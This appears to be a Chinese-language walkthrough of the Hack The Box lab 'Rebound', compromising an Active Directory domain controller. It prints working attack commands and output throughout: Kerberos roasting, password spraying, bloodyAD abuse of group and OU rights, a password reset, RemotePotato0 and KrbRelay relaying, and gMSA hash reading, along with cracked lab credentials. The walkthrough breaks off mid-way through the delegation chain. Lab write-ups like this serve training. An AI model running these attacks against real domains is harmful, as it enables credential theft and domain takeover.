Rebound

1
2
3
4
5
ip a

10.129.232.31

TARGET="10.129.232.31"

01.信息搜集

靶机发现

目标靶机 ip 为 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
fscan -h $TARGET > fscan.log

# ===== 开放端口 =====
10.129.232.31:445
10.129.232.31:636
10.129.232.31:5985
10.129.232.31:53
10.129.232.31:139
10.129.232.31:3268
10.129.232.31:389
10.129.232.31:3269
10.129.232.31:135
10.129.232.31:88

# ===== 服务信息 =====
10.129.232.31:135 unknown
10.129.232.31:445 microsoft-ds SMB@ A a l v J 2 b/ ; x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_in_RFC4178@please_ignore
10.129.232.31:5985 unknown
http://10.129.232.31:139
10.129.232.31:389 unknown
10.129.232.31:3269 unknown
10.129.232.31:3268 unknown
10.129.232.31:88 unknown
10.129.232.31:53 unknown
10.129.232.31:636 unknown

# ===== Web服务 =====
http://10.129.232.31:139

53,88,135,139,389,445,636,3268,3269,5985

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -sT -sV -sC -O -p 53,88,135,139,389,445,636,3268,3269,5985 $TARGET -oA nmapscan/detail

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-18 15:34:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-18T15:35:58+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after:  2122-04-08T14:05:49
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-18T15:35:49+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after:  2122-04-08T14:05:49
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-18T15:35:57+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after:  2122-04-08T14:05:49
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-18T15:35:50+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after:  2122-04-08T14:05:49
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-07-18T15:35:24
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 2s, median: 6h59m59s

域名

dc01.rebound.htb
rebound.htb

1
echo "10.129.232.31 dc01.rebound.htb rebound.htb" | sudo tee -a /etc/hosts

rebound.htb 无法直接访问

445

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
smbclient -L //10.129.232.31 -N
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	Shared          Disk
	SYSVOL          Disk      Logon server share
tstream_smbXcli_np_destructor: cli_close failed on pipe srvsvc. Error was NT_STATUS_IO_TIMEOUT
SMB1 disabled -- no workgroup available

smbclient -L //10.129.232.31/Shared -N
tstream_smbXcli_np_destructor: cli_close failed on pipe srvsvc. Error was NT_STATUS_IO_TIMEOUT
SMB1 disabled -- no workgroup available

ldapsearch -x -H ldap://10.129.232.31 -b "dc=example,dc=com" "(objectClass=*)"
none

web

1
2
3
4
gobuster dir -u http://rebound.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50


ffuf -w /Users/choco/Project/HackTool/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.rebound.htb" -u http://rebound.htb -fs 0

什么都没

现在面对的是一个纯 AD 环境的域控。常规的外部攻击面几乎不存在

AD 初始

用户枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
kerbrute userenum -d rebound.htb --dc 10.129.232.31 /Users/choco/Project/HackTool/wordlists/SecLists/Usernames/Names/names.txt -o valid_ad_users

rpcclient -U "" -N 10.129.232.31
enumdomusers result was NT_STATUS_ACCESS_DENIED

lookupsid.py anonymous@10.129.232.31
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209

498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)

lookupsid.py rebound.htb/anonymous@10.129.232.31 -no-pass | grep SidTypeUser | awk -F\\ '{print $2}' | awk '{print $1}' | grep -v "SidTypeUser" | grep -v "^$" | tr '[:upper:]' '[:lower:]' > usernames.txt

默认只扫到4000
手动指定到10000
...10.129.232.31 10000 -no-pass

5277: rebound\jjones (SidTypeUser)
5569: rebound\mmalone (SidTypeUser)
5680: rebound\nnoon (SidTypeUser)
7681: rebound\ldap_monitor (SidTypeUser)
7682: rebound\oorend (SidTypeUser)
7683: rebound\ServiceMgmt (SidTypeGroup)
7684: rebound\winrm_svc (SidTypeUser)
7685: rebound\batch_runner (SidTypeUser)
7686: rebound\tbrady (SidTypeUser)
7687: rebound\delegator$ (SidTypeUser)

密码喷洒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 密码喷洒 看看有没有弱密码/复用
netexec smb 10.129.232.31 -u usernames.txt -p usernames.txt --no-bruteforce 



cat usernames.txt
administrator
guest
krbtgt
dc01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
tbrady
delegator$
batch_runner

没有复用 看看 ASP-REP

1
2
3
4
5
6
7
8
9
10
GetNPUsers.py rebound.htb/ -usersfile usernames.txt -dc-ip 10.129.232.31 -no-pass -request

[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jjones@REBOUND.HTB:0c6b778252793258691a92788cf4cb99$0115e35f0bb390597673012ef60b2de42559326c8f8ab831ce9b52cc73c119d7f30deacefbd52646a74d6d809566d94da1f59d4285a7998484f29f5dda875912410e95a71352be0d03bc55dddb61ecb738cbe3a10710782b33ed7d87d7330a523edcecfc337066f2b88ef86a026c5e90f32ed17e87dffaef44fc1b6f069634922472ae4b128e28028a6cb22f8de03f9c12c66ed1de13bcc90589e5d98e8a78fe9932be6383bcc318fb8dd038d2d98d2b8e4296906ec04634cc834a1eabe170f15e75a506aa2dbb1d67597e5cf6ae820407fb331f138e7ce4303869ad9728d734fd0e73fae915e8b6216e

GetNPUsers.py rebound.htb/jjones -request -dc-ip 10.129.232.31

hashcat -m 18200 hash.txt /Users/choco/Project/HackTool/wordlists/rockyou.txt

没成功

但是可以利用这个获取其他用户的 TGS 了

1
2
3
4
5
我们 → KDC:  "我是 jjones，给我 TGT"（无预认证）
KDC → 我们:  AS-REP（里面是加密 TGT）🔒

我们 → KDC:  "我是 jjones，这是凭据 [AS-REP]，我要 ldap_monitor 的 TGS"
KDC → 我们:  TGS（用 ldap_monitor 密码哈希加密）🔓 → hashcat 模式 13100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GetUserSPNs.py rebound.htb/jjones -no-preauth jjones -dc-ip 10.129.232.31 -request -usersfile usernames.txt
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] Principal: administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$17b4fa9c31bfeff23fb4484c$368d5099dab02fb8a4ca5738fac81799d2f9f6735142994f3d49f827fe89c0c98d6c5f407fbff8429d20bfe07fdbd56c6696295fd6bd7165a8b3ba503f428c1a4fc0daf8e8a6f0cce1b10a5b458845303d1dcef12e4f6a3933c081b26045228d121053ec88cac3ae14984c1cbf4f37c9d2d173a575b50711b2870d88b593dd21955e5a0e5dcd549083b7f116ff57bbee5fa12b449f54d32e95e12177dcbefea72c77f312470ff0c929477dfdb58cbba84ebbec31811d6239d2297a8b84bf5f2752ec8f20f19f92bd68e110f0550c0235aa177340dfc28c39b193ccb76923341d1ebf9105924144ddaeb6ffebff6e16defa9840ae76e6d5a71e33b771cdbd2aaa0ced358e38e51f35a4b5f73eee988d412545d767fc58e7c5bb6ed2762884b4847fa34801d20be6eb8318edb5231590d7644a006770cff67dc3b0debbec19de13e5704cf95d1b3efe1d76f76ce44a8c9db2ed086607cd109bac2224b9c728599d57585dfb7d74d2ce4cdd5d64fa90a71dd35c3d53656ac8a49604aa057a1becc719a83cb86560128022bb262f8d009c6f3d26f80bac6d31050638506a65687fab89ced3f5dad7603fa562c50c710624b8b9e8671f4ddd80abbd03ed042c1f56a4de52199a2595b048626e8407170a84bc0e7b0c9f59ff6752fc67c618f122fd98abc9498fd41e39b1a2bac3793967c9bc55ad6341c023fbe4128b531e0e99b3f14b184e6fd5f4724e5e5ba520fa36c87f459f630371aee8ff91a6f422a91edc8179090295e44f617060af62ec43358a599479ef10d505ee0dbcd09592b46e906ed4c1ad49defffbf40b7f1975f3b2587e36bb1761b11fb2668466192a8a7ebb634e87fa5acaef1324aca152302dfb81e17e254aa74c6efaf97ba70604ebf2247bbc47da7cc30b0e07f6d9a47d9ec0d342a819835abcc8dee87012a783010db8d92d42bddf99bf83ccfa223ff37e94d34b81922239b029ce6e2dc59da7fc9ca5484616cc632d4084c1d6afc1088c23a47c2c6dc08787a148a550700a52166f05425a055624a252e32c70b29b08e9722ab51f95304f9d9e62c20313f8792153ba6502e7eed8937cbb8368d3bdf2170cbc9ff99b7634973980446e7a4da19d771c28727acfe65e0ce6b3c0076958e22cce419cba275bdfe6cc89952984edef58110673826cd07d87f308e47395559f620f248851d1f01e8ba84c5d2d520a8e7e93e27439eda5c877435a614b57665719566fa2404adc7f591072135e7dc1670c85bfd4d74e77549071839b9a8f8ca30e940f3c1a1e0f691e07508d18408bad17b91de209949e88a31f846740665d719ff781d0fc4a2e71e75b118902c41a85eb318912c9c32ad6c9b3d2d24230724419e2d92b96d3b8c913f55c0b30bb7dbb1f8ba6eada289d4bb6a012ea36bc4d7d9f06a1554c9a34640b6d69164b355cfc95546ba8a49a7f11e2e1168fc4051ce0d6da8c7b67
$krb5tgs$18$dc01$$REBOUND.HTB$*dc01$*$3599336dc741a771066aed78$d6ebe3cb260f6ce81f4784096140ce9da1b0c19d17c5bace6acb95d4593f5505f67a8649a643666861159e28327219bfae812ae3f2a07f9c7a19a903d930d1fd16c26ea6586ddc9c07f44e435c8fdce432152459f9debb36d816a7932c6e49b4ccd0fed8e49b9d1a23743327ec1638a80691650e41297477eb96dcc0a1114e67e2baf0b100a9e5900811c8e13df029153a2270d6636592af36d5d3ef42cda05e5fceba6a913661fc293df78d5c8d40014469a16df3d3c3d7c750af3ec27019ec4d27b378f187ad2c0f1acbec704a1cce849fb39c02de96052c70b29fdd6cb85cea676662c09ec35edbc0b659f22e581d19b75c119554dc22f324ed9a745a0087fb9b3d97cbb74c4c8ef0c0f07642b87c9e319177ba40f4f923d31c7ead73be512c34486dbdb801038869acc54ceafc0f41e805416b3497e4d8951900be076e589f89b9bd96670d007ffef9887bc931f106abc666b06f778704dd9d7413034a8968674cea98dafd0d9882acf509f8ea7b760bb3ec055d1a1a54a3160ef409fc540fa1545295f4dd71ab8e2f742593c8ee6cc31ef56bc3caf05b180795eaa32e42a2b416a7e6ec4505ac844323215367c56f9d0bd9df6d401688442881c6e743a59989d0d0e6c9f4a8c9cccfbf26faaef363e3269c6a297162214fa53e36fb29043ae71b5d64e2d43b05298c845c30fca86045cebdbd13a6b10928eb1e89fa652bf8f0bf0f4bc33711d6120aae2776fd486fa140cda6bd2309ceee6f664e47157584f172980dc1cfbba519c03f39b9f348011a7255134b36461a34985980846ac7911d18d08e4b277157f661ff94773d4348708a8f91860dd0d6885de79786fe7ddab0b8d8f11ffed69acb811ae178973d13c54b8a37c247e627ce4320aabca74a1bd0d925c8ab47c9e4cf484608635a19a3e57f1a85ace817ebfe8fa1260d416869354928dad46fab542085c53f93758d858520ad66067e574e79b872dd4cec44eb599480655703248719ab2bb99f21fc1e1352d118bfc357966d0b707a914186e4d9906b71ae58a9880621c6d5637eae1718c59ad65fd7c97d8e395e187a0d2b824849b75a011713f4b8565377e9a48e94588b4dc2a023202645c5f369bbfb7bf9e08dba45a6c7f7a1f315d1b7d9889a8a88dd545e41b335613aed8da76998b6704a787e8b4375784ad3150fa0f81d5fa12a5dc8cf18683b8b16e30244c04626a8b0733780b1ccb240f5c6495d551cb4d5d8214e6c13f8d2942aa59c834db224ab3f5463f29ba4221596314d5662566efec8d98d1923aac9e73b7b0ae7c6051f27ac76ae8e842f8de7679ce422b97390ed35aeb81aa32b465f386bfa29b3ef8c35c85edd77aaf190eec6
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$f25996fe59f4d319659f68fc$c74d5237f97559e8cd8de6c64350f08ef6d47ebfb9cf092bbabd6d26311d55fea93bff270afad17691e6378436a989e8cc03dba4ff90023c55d112076b6434381da1daeceb964b2b17fc5317bf91cd1ec2da0633fe2e20758a1628212515f1364cfefb144027973f1aa99226289173baa832646ec96b743005e742da99fde5f5e1742feb08b804350b96b5c6c35587190067ecb3a43704a6359d671f664b18c47823308b9cefd2400235ee8ff448ff7e5e01eba56ba1a78f9201a358efc97b3e6c37aa2d442dcc2575c2f4e1c29bad44ae407f09570dc88c854e51b52a9622029e6b636ee755a18d2e758acf6309eec60eccf6e73095623facd8ae72aac384e38ab17bf2689c61cfbbed533111e80bd47ea5498c0c8ec0cc4208bdece411adff6eea8bd87bb33bba2f91791774514a2321827a74de37898331c06fe861df0ef4f00ded3ffe81520af27929c20f67d4579af2a2b15f9291bc6e868bbb9bfd1162c408c8e69544b5529026d534fd283a0561ee91e195a58f1f9594b1179f08d02cc1f439419c44c1df74b2843615a4f22a79bacad421d85e757647b39812a3cd94131012bc6ed8b3ae4425495211ae21db7a6b33a59ed9cd0b32f6f0e68eddef47a34d13f0f322b962f85d5b1a7aa31a9ae97a20895ea5a3bc3882ba7d0ac71d7821005e0ea6f2f1d433e98a84fb7148379357df72344feb9006e34d57b517bc46a8d85416115ec1568bb7eb245e18b5bd53478aae6d8a360ecbb3eb1293a34f2be0fa08617c20e80c25346eb780d11e60be30558abc2dce725bd0941fb533b794badb9f49a8f9817988be5ee815d17fb7bed0d516432feea595b61d14c9f86c6c879bc9054f5221555cf9aa64db8434f9608386777920874e14dd7bee5a39a7c9682f8a1c65deebfedb685879d5e5b85b362885e89f3bc1d6becc59d08cd5e717769f12b06ae48a6344343a37782e18fc8022e5e6aafb4e86414df3d6f763b8363d2d76d3be33230a4b99972b096fd5a324c8d5cc91184db4ce5e67801ea511da339df29e15681e29beb222d35a2ba6ff7ff656169e559920d6787abc6bdd3dc5ef9f041d0fc43723b815ccd79bc99471f640097328462ea55be1a94dceaa7672f17c2e35c520c3bf1aa72268de80ebdc8c2134cf9827955b6e33ac7fb56bc639ee0922fdb8e5546b072254b34e0eb718f58069b9600dd1f257bf4d0739f1abc2c37137f2ef09f051cb1dcdd820972cc96a0e7acababb9b724f306b523e462ddf4e0b1c93c7819f96b9d2411f836e12dc3f682b43a88962f5a3a36950ef21855323334dd9e87bab7cda7266b35c0d16fa7652b7741115f0f29ac8a94386201eb57357be4de34a4e3ee89e
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$252121cc4ff4059ecc23428e7f4b5769$4a7f743cd292287385c8cc0fb820689edee560334ed57c608c8f5ad5cc43fdc472aa8c02c0a7411a515ba23120f22064c18edcafd1d5f53a67d1f654d7289e3c23c1c20827bc4c5cc072ca5f16e27f59336586f7d377aa80ab1cc5a10750b0964770a00a6c1f0055133e0b3efdc8da13de810cc57a79aadc949882b66b1a3e8efbbf52dbaefe2fa562cd625190e7b899ed24d959c8cb561a25c4f7f5b64cb1bcd2b1cd4c06c12ab119a87fc17a0700308ec40b5fd3c343484f2ffaa21629fa7c385891300da3214e892b382b4eb622d5b438a5e423fd0e46878450e9921c10138b22a3208ae195fae540916ceab99ba463294fc622a068403949b4921b5dc2edc189dfafddd4d0e6bde4c9de7e58e98c6f27b384aa948c7a516ee4b9314879a429e3ce138ac48d9047d4c1b668939adfc04338597a1d67fac1fb727a072670cfdb1562ab581cdc35b692ae5e867f17ff91846ef7a0ce5138ab148126170d92ba6e2061660bdbc94c2091c6c234220cba96e24d21fc81fb4bac22b43d6ca5043fcb3a6720a4427d089027e3660f65413df82726678b131feb1c9f3704fc082b250348a974bfec5c6e6ee375d2942b3f18924b19e3ba9d21feb6884401739176143d88a32b235a934e11dc9f9d5470c3d035f46d724b86a5cf5558996e1fd324fa1abb0d5364aa0c3c01f3e44d19ae6eb5b9f330b51ad14e1e2ac7863fddf813de11bc3d5c4a4680d8728f36507a8257095a802723838181aec554772167f57d0c91f939407e4ad27cc4aa3ccafd5e416abd9bdeae4c9aaf40a74d4bb23c96a4e49ff2233fc5604a1592cdc7cd24555e125f02267e9debdd10c38b54c90a9769eac6a49b72540056f062f4f5a92edf4e9463c4b61565b4023fa1a759f3537951e91393a19e6038e88fe6d9f44cf358ce29a7c751796ee7cd8fe8e7af1d6884d846cda144d7f38ab42398d7a6da1321c9c57afad17469d72095b2695a5e351d7d6cbde6584c9671a6f7733bb2fc788a7acb9661a181cbc0b3e93692f51ce8d1997062c4fa9b28e587fde8299d28f42a17bbdfdc93211dc7d6adbd968bd706e0394d9915c12350f15fb43ad36386bd51d0cf58a43c33fc338dd64d06ee3ff990ad4a62537b8a79894293b2e41116ec78f9ec0127b8c0dc7bf1d0c2290782e1d048521b71adc721402fe5c7162501a8e4a368caccef7a939132cb3fd81af665e9319372971b403637741670713c049c1086398ea61ae02fea445e960aa7b4e9b1ae350537e9fc888e25c221375497280ef1863a5e4968d2c790833ec23b3dd9b9dacb2008354f1204e6f9f8f55ad752b3885a9b3f28293fa05ff99005b63baf700ffcd5eb

离线爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hashcat -m 18200 hash.txt /Users/choco/Project/HackTool/wordlists/rockyou.txt

john hash.txt --wordlist=/Users/choco/Project/HackTool/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 31.36% (ETA: 17:52:53) 0g/s 1163Kp/s 1163Kc/s 1163KC/s pinklibra012..pinkie2214
0g 0:00:00:06 47.98% (ETA: 17:52:53) 0g/s 1163Kp/s 1163Kc/s 1163KC/s jkf8150..jk93063
0g 0:00:00:07 56.44% (ETA: 17:52:53) 0g/s 1164Kp/s 1164Kc/s 1164KC/s felizxti008..felisha14
0g 0:00:00:08 64.85% (ETA: 17:52:53) 0g/s 1164Kp/s 1164Kc/s 1164KC/s cancillerogo..canandru
0g 0:00:00:09 73.20% (ETA: 17:52:53) 0g/s 1165Kp/s 1165Kc/s 1165KC/s Xhaikara6..XXERICAXX
1GR8t@$$4u       (?)


1
ldap_monitor:1GR8t@$$4u

域信息采集

1
2
sudo ntpdate -u 10.129.232.31
bloodhound-python -u ldap_monitor -p '1GR8t@$$4u' -d rebound.htb -dc dc01.rebound.htb -ns 10.129.232.31 -c All

bloodbound 分析

没有 Outbound Object Control 也没看懂什么接管权限 这个账号能力非常有限

再看看这个密码有没有复用吧

1
netexec smb 10.129.31.62 -u oorend -p '1GR8t@$$4u' --no-bruteforce

前序干扰
采用循环单例进行测试

1
2
3
4
for user in $(cat usernames.txt); do
    netexec smb 10.129.232.31 -u "$user" -p '1GR8t@$$4u' -d rebound.htb --timeout 10
    sleep 2
done

总之这里获得了:

1
v

oorend

看看权限

oorend addself -> SERVICEMGMT

这个 servicemgmt GenericAll -> SERVICE USERS 包括 {BATCH_RUNNER WINRM_SVC}

这个 winrm svc 可以用

1
2
3
4
5
6
7
oorend ∈ SERVICEMGMT
       ↓
SERVICEMGMT 有 GenericAll → SERVICE USERS OU
       ↓
WINRM_SVC ∈ SERVICE USERS OU
       ↓
ShadowCredentials → WINRM_SVC 的 TGT → WinRM 登录

参考H4cker/AredTeam/笔记整理/06-AD域渗透/ADCS攻击## Shadow Credentials

1.将目标用户添加到 ServiceMGMT 中

1
2
bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add groupMember ServiceMGMT oorend
[+] oorend added to ServiceMGMT

2.由于拥有 ServiceMGMT 组织单元的完全控制权，所以可以管理该组织单元中的用户 (网络不好 报错 timeout 就重试)

1
2
bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

现在 oorend 通过 ServiceMGMT 完全控制了 winrm_svc

3.直接改 winrm 的密码

1
2
bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb set password winrm_svc 'Choco094late!'
[+] Password changed successfully!

4.登录

1
evil-winrm -i dc01.rebound.htb -u winrm_svc -p 'Choco094late'

shell it
cd ../desktop; type user.txt

1
ec59054b7bd83ca31e713b5713477719

root

winrm_svc 权限有限，没有直接的提权路径。从 BloodHound 数据可发现另一条攻击链：tbrady → gMSA delegator$ → Kerberos 委派链 → DCSync。

跨会话中继获取 tbrady (RemotePotato0 + KrbRelay)

背景：winrm_svc 在 DC 上有活跃会话，但自身无特权。DC 上同时运行着 tbrady 用户会话。利用跨会话中继（Cross-Session Relay）可将 winrm_svc 的 NTLM 认证中继到本机其他会话，劫持 tbrady 的 NetNTLM 哈希。

原理：

  • RemotePotato0：利用 DCOM 激活触发 SYSTEM 令牌的 NTLM 认证回连，在 OXID Resolver 阶段将认证重定向至攻击者监听端口
  • KrbRelay：将捕获的 NTLM 认证通过 Kerberos 中继至本机 LDAP，利用 RBCD 或自身权限执行 LDAP 操作。此处中继到 HTTP/DC01 以触发 KrbRelay 的会话劫持
  • 组合使用：RemotePotato0 触发 NTLM → KrbRelay 接收 → Kerberos 认证 → 以 tbrady 身份请求 TGS → 离线破解得到 tbrady 密码：543BOMBOMBUNmanda
1
2
3
4
5
6
7
8
9
10
11
12
13
# 攻击机上启动 KrbRelay 监听
KRBRL=~/tools/KrbRelay/KrbRelay.exe
# 上传到 DC 后执行
./KrbRelay.exe -spn http/dc01.rebound.htb -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 \
  -rbcd S-1-5-21-4078382237-1492182817-2568127209-7681 \
  -session 2 -port 12345

# 另一个窗口执行 RemotePotato0
./RemotePotato0.exe -r 127.0.0.1 -p 12345 -s 2

# 捕获到 tbrady 的 NetNTLMv2 → hashcat 破解
hashcat -m 5600 tbrady_hash.txt rockyou.txt
# 543BOMBOMBUNmanda

防御提示：跨会话中继攻击利用了 DCOM 的 NTLM 回连机制和 Kerberos S4U 扩展。缓解措施包括：启用 LDAP Signing + Channel Binding、禁用不必要的 DCOM CLSID、启用 EPA (Extended Protection for Authentication)。

gMSA 密码读取

背景：tbrady 对 gMSA 账户 delegator$ 有读取其 msDS-ManagedPassword 属性的权限。gMSA (Group Managed Service Account) 是 Windows 自动管理的服务账户，密码由 DC 每 30 天自动轮换，存储在 msDS-ManagedPassword 属性的加密 BLOB 中。

原理：

  • msDS-ManagedPassword 是一个 MSDS_MANAGEDPASSWORD_BLOB 结构体，包含当前密码和前一个密码（UTF-16LE 编码）
  • 只有被授权的主体（通过 msDS-GroupMSAMembership 属性关联的组中的成员）才能读取此属性
  • bloodyAD 自动解析 BLOB 结构，直接输出 NT Hash 和 Base64 编码的密码
1
2
3
4
5
6
7
8
9
bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' \
  --host dc01.rebound.htb \
  get search --filter "(sAMAccountName=delegator\$)" \
  --attr distinguishedName,sAMAccountName,msDS-ManagedPassword

# 输出:
# distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
# msDS-ManagedPassword.NT: 79b184f0a8d1218313d3a1c47867d81f
# sAMAccountName: delegator$

注意：CN 中 gMSA 账户名不带 $，但 sAMAccountName 带 $。查询时 LDAP filter 需要转义 $ 为 \$。

Kerberos 委派链分析

背景：拿到 delegator$ 的 NT Hash 后，通过 BloodHound 或 findDelegation.py 查看其委派配置：

1
2
3
4
5
findDelegation.py 'rebound.htb/delegator$' -hashes :79b184f0a8d1218313d3a1c47867d81f \
  -k -no-pass -dc-ip 10.129.232.31

# delegator$  ms-DS-Group-Managed-Service-Account  Constrained w/o Protocol Transition  http/dc01.rebound.htb
# DC01$       Computer                             Unconstrained                        N/A

原理 — Kerberos 委派的三种形态：

  1. 非约束委派 (Unconstrained Delegation)：DC01$ 拥有此权限。当用户向 DC01$ 提交 TGS 票据时，DC01$ 可将用户的 TGT 缓存并用于访问任何服务。TrustedForDelegation = TRUE。

  2. 约束委派 (Constrained Delegation)：delegator$ 拥有此权限（限定 SPN: http/dc01.rebound.htb）。服务账户可将用户认证转发到指定 SPN 列表中的服务。但仅限 w/ Protocol Transition（即 S4U2Self + S4U2Proxy），w/o Protocol Transition 意味着 S4U2Self 返回的票据不包含 Forwardable 标志，无法直接用于 S4U2Proxy。

  3. 基于资源的约束委派 (RBCD)：资源所有者（被访问方）可以设定”谁可以委派到我”。存储在 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

攻击思路：

  • delegator$ 的约束委派是 “w/o Protocol Transition”，S4U2Self 票据无 Forwardable 标志
  • 但可以通过 RBCD 让 ldap_monitor 委派到 delegator$
  • 再结合 delegator$ 自身的约束委派，链式委派到 http/dc01
  • 最终获得 DC01$ 机器账户的 http/dc01 票据 → DCSync
1
2
3
4
5
6
ldap_monitor ──RBCD──▶ delegator$ ──Constrained──▶ http/dc01.rebound.htb
     │                      │
     │ S4U2Self             │ S4U2Proxy (通过 RBCD 链)
